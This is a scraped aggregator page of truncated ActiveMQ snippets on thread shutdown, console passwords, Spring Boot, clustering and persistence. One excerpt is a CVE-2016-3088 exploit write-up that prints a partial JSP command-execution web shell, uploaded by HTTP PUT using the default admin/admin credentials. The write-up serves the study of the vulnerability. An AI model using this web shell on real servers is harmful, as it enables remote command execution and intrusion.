activemq

ActiveMQ Transport Thread is not terminated when main ends

早过忘川 提交于 2020-02-22 07:39:06
问题 This is how I start connection: factory = new PooledConnectionFactory(brokerURL); brokerURL is "failover:(tcp://host1.com:61616,tcp://host2.com:61616)?randomize=false&jms.useAsyncSend=false&jms.dispatchAsync=false&maxReconnectAttempts=30&maxReconnectDelay=3000" Connection is started: connection = factory.createConnection("", ""); connection.start(); Application performs its usual tasks before connections gets closed: connection.close(); main method is finished, but JVM is not, because there

ActiveMQ Transport Thread is not terminated when main ends

此生再无相见时 提交于 2020-02-22 07:35:22
问题 This is how I start connection: factory = new PooledConnectionFactory(brokerURL); brokerURL is "failover:(tcp://host1.com:61616,tcp://host2.com:61616)?randomize=false&jms.useAsyncSend=false&jms.dispatchAsync=false&maxReconnectAttempts=30&maxReconnectDelay=3000" Connection is started: connection = factory.createConnection("", ""); connection.start(); Application performs its usual tasks before connections gets closed: connection.close(); main method is finished, but JVM is not, because there

activeMq 设置是否默认登陆及修改密码

徘徊边缘 提交于 2020-02-21 05:21:16
一:ActiveMQ使用的是jetty服务器, 打开conf/jetty.xml文件,找到 < bean id = "securityConstraint" class = "org.eclipse.jetty.http.security.Constraint" > < property name = "name" value = "BASIC" / > < property name = "roles" value = "admin" / > < property name = "authenticate" value = "false" / > < / bean > roperty name为authenticate的属性value=“false” 改为"true"(有的版本已经默认设置为了true) 二: 控制台的登录用户名密码保存在conf/jetty-realm.properties文件中,内容如下: … Defines users that can access the web (console, demo, etc.) username: password [,rolename …] admin: admin, admin 值得注意的是 用户名和密码的格式是 用户名 : 密码 ,角色名 来源: CSDN 作者: 奋发的小强 链接: https://blog.csdn

Spring Boot - start ActiveMQ Web Console on startup

流过昼夜 提交于 2020-02-20 05:39:07
问题 I have a Spring Boot app that automatically starts up an ActiveMQ broker (vm://localhost): it works, I can successfully send and receive messages. I would like Spring Boot to also start the ActiveMQ Web Console e.g. http://localhost:8161/admin (much like it can with the H2 Database console). Question : how do I make a Spring Boot app start the ActiveMQ Web Console? Bonus Points : for a specific Spring @profile only? thanks in advance Note : I have already reviewed How to enable web console on

从头开始搭建一个Spring boot+ActiveMQ高可用分布式环境

随声附和 提交于 2020-02-16 23:59:29
/*--> */ /*--> */ /*--> */ /*--> */ 背景 目前公司项目中有用到activemq,两台机器上分别通过共享文件方式搭建了master-slave集群,但两台机器之间并未组建broker cluster,而是在客户端通过软负载的方式随机选择一组提供服务来达到集群扩展的目的。 上面的方案主要问题在于需要通过软负载去实现分布式的负载均衡算法,需要解决一系列问题。 下面的文章就在原有基础上组建broker cluser(activemq自带),基于学习的目的通过一次搭建过程来体验下(毕竟我不是运维人员),下面是效果图:不需要软负载。 为了简单,broker cluster只创建两组,而且全部节点部署在同一台机器上。 节点名称 tcp open-write端口 管理台端口 共享文件 master-a 61616 8161 /Users/iss/data/activemq/activemq-ha-a slave-a 61617 8162 /Users/iss/data/activemq/activemq-ha-a master-b 61618 8163 /Users/iss/data/activemq/activemq-ha-b slave-b 61619 8164 /Users/iss/data/activemq/activemq-ha-b

SpringBoot JMS(ActiveMQ) 使用实践

坚强是说给别人听的谎言 提交于 2020-02-16 23:25:52
ActiveMQ 1. 下载windows办的activeMQ后,在以下目录可以启动: 2. 启动后会有以下提示 3. 所以我们可以通过http://localhost:8161访问管理页面,通过tcp://localhost:61616来连接消息服务器,用到的用户名和密码都在以下文件中(默认为admin=admin) springboot连接ActiveMQ 1. 加入依赖: spring-boot-starter-activemq 2. 配置连接属性: spring.activemq.broker-url=tcp://localhost:61616 spring.activemq.user=admin spring.activemq.password=admin spring.activemq.pool.enabled=false 消息的发送和接收 生产者/消费者模式 1. 创建生产者 package com.example.demo8activemq.jms; import org.apache.activemq.command.ActiveMQQueue; import org.springframework.jms.core.JmsMessagingTemplate; import org.springframework.stereotype.Service;

ActiveMQ-事务消息-发送 与 接收

六月ゝ 毕业季﹏ 提交于 2020-02-14 20:17:07
发送: package com . bjpowernode . activemq . transaction ; import org . apache . activemq . ActiveMQConnectionFactory ; import javax . jms . * ; /** * ClassName:TransactionSender * Package:com.bjpowernode.activemq.transaction * Description: * * @date:2018/10/16 10:29 * @author: robin */ public class TransactionSender { public static void main ( String [ ] args ) { send ( ) ; } private static void send ( ) { MessageProducer producer = null ; Session session = null ; Connection connection = null ; try { //1.根据Broker地址创建连接工厂对象 ConnectionFactory connectionFactory = new ActiveMQConnectionFactory (

Ladon插件CVE-2016-3088 ActiveMQ GetShell Exploit

回眸只為那壹抹淺笑 提交于 2020-02-14 15:30:27
前言 使用Exp生成器生成Ladon插件实战,CVE-2016-3088 ActiveMQ GetShell 0x000 漏洞信息 漏洞编号: CVE-2016-3088 漏洞原理: ActiveMQ 中的 FileServer 服务允许用户通过 PUT/MOVE方法上传文件到指定目录 影响版本: Apache ActiveMQ 5.0.0 – 5.13.2 0x001 获取路径 PUT /fileserver/%20/%20 0x002 上传shell 上传和移动文件需登陆,默认帐密admin/admin,将以下代码双引号进行转义(原本是转义好的被github过滤了) PUT AddUrl: /fileserver/cmd.jsp PUTData: <%@ page import="java.io.*"%><%out.print("Hello");String strcmd = request.getParameter("cmd");String line =null;Process p=Runtime.getRuntime().exec(strcmd);InputStream is = p.getInputStream();BufferedReader br = new BufferedReader(new InputStreamReader(is));while((line

ActiveMQ持久化机制

ぃ、小莉子 提交于 2020-02-14 14:45:55
为什么要进行持久化   为了避免MQ服务器意外宕机导致数据丢失,需要做到重启后没有被消费的数据依然在消息队列中。 ActiveMQ的持久化机制包含:   1. JDBC:持久化到数据库   2. AMQ:日志文件   3. KahaBD:AMQ基础上改进,默认选择   4. LevelDB:谷歌K/V数据库   注:ActiveMQ默认是不开启持久化的。 ActiveMQ默认持久化机制     <persistenceAdapter> <kahaDB directory="${activemq.data}/kahadb"/> </persistenceAdapter>   性能:     AMQ的性能改与JDBC的持久化机制,由于是在文件中追加写入消息,所以性能比较高。并且创建了消息主键索引和缓存索引机制以提升性能。   缺点:     AMQ会为每一个Destination创建一个索引,若创建了大小的消息队列,则磁盘占用会非常大,所以由于索引文件比较大,当Broker崩溃后,重建所以速度比较慢。    JDBC持久化机制   步骤一:创建数据库        步骤二:在程序中开启持久化操作 producer.setDeliveryMode(DeliveryMode.PERSISTENT);     PERSISTENT:代表开启持久化     NON_PERSISTENT

windows安装ActiveMQ以及点对点以及发布订阅

♀尐吖头ヾ 提交于 2020-02-13 20:40:35
一、MQ产品的分类 1、RabbitMQ   是使用Erlang编写的一个开源的消息队列,本身支持很多的协议:AMQP,XMPP, SMTP, STOMP,也正是如此,使的它变的非常重量级,更适合于企业级的开发。同时实现了一个经纪人(Broker)构架,这意味着消息在发送给客户端时先在中心队列排队。对路由(Routing),负载均衡(Load balance)或者数据持久化都有很好的支持。 2、Redis   是一个Key-Value的NoSQL数据库,开发维护很活跃,虽然它是一个Key-Value数据库存储系统,但它本身支持MQ功能,所以完全可以当做一个轻量级的队列服务来使用。对于RabbitMQ和Redis的入队和出队操作,各执行100万次,每10万次记录一次执行时间。测试数据分为128Bytes、512Bytes、1K和10K四个不同大小的数据。实验表明:入队时,当数据比较小时Redis的性能要高于RabbitMQ,而如果数据大小超过了10K,Redis则慢的无法忍受;出队时,无论数据大小,Redis都表现出非常好的性能,而RabbitMQ的出队性能则远低于Redis。 入队 出队 128B 512B 1K 10K 128B 512B 1K 10K Redis 16088 15961 17094 25 15955 20449 18098 9355 RabbitMQ 10627